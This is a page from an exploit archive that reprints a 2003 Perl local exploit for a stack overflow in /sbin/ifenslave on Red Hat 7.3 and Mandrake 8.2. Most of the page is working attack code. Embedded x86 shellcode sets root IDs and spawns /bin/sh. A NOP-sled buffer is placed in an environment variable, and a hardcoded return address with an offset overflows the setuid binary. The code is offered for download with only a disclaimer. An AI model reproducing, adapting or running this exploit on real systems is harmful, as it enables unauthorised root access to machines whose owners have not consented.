logo Home

Untitled Document

Home > Archives Exploits > Exploits


Untitled Document



RH7.3 & mdk8.2 /sbin/ifenslave stack overflow exploit
Date: 2003-05-25

Author : www.dhgroup.org
Download : http://www.security-corporation.com/assets/security/download/exploit/d86ifenslave.pl

#!/usr/bin/perl
######################################################
# rh7.3 & mdk8.2 local exploit
# ...based on '0x333slave rh8.0 local exploit (www.0x333.org)'
#
#It use stack overflow in /sbin/ifenslave. Play with offsets for other
#rh\mdk distribs.
#
# www.dhgroup.org
#####################################################

$shellcode =
"\x31\xdb\x89\xd8\xb0\x17\xcd\x80" .
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" .
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

$size = 100;
$size2 = 44;
$retaddr = 0xbfffff9c; #tested on rh7.3 and mdk8.2
$nop = "\x90";
$offset = 0;


if (@ARGV == 1) {
$offset = $ARGV[0];
}

for ($i = 0; $i < ($size - length($shellcode) - 4); $i++) {
$buffer .= $nop;
}
for ($i = 0; $i < ($size2); $i++) {
$buffer2 .= "A";
}

$buffer .= $shellcode;

print " retaddr: 0x", sprintf('%lx',($retaddr + $offset)), "\n";

local($ENV{'EVILBUF'}) = $buffer;


$newret = pack('l', ($retaddr + $offset));
$buffer2 .= $newret;

exec("/sbin/ifenslave $buffer2");

#EOF





Any use of these codes are at the user's own responsibility.

 

arrowSearch Advisories

arrowNewsletter

Free weekly Newsletter.

Please enter your email address here:
arrowReport Vulnerability

If you've found a vulnerability please
click here to report it.
arrowPartners

newsnow

About Us | Contact Us | Advertise | email | Backend flag
Copyright © 2016-2017 Security Corporation - All Rights Reserved - Legal - Privacy Policy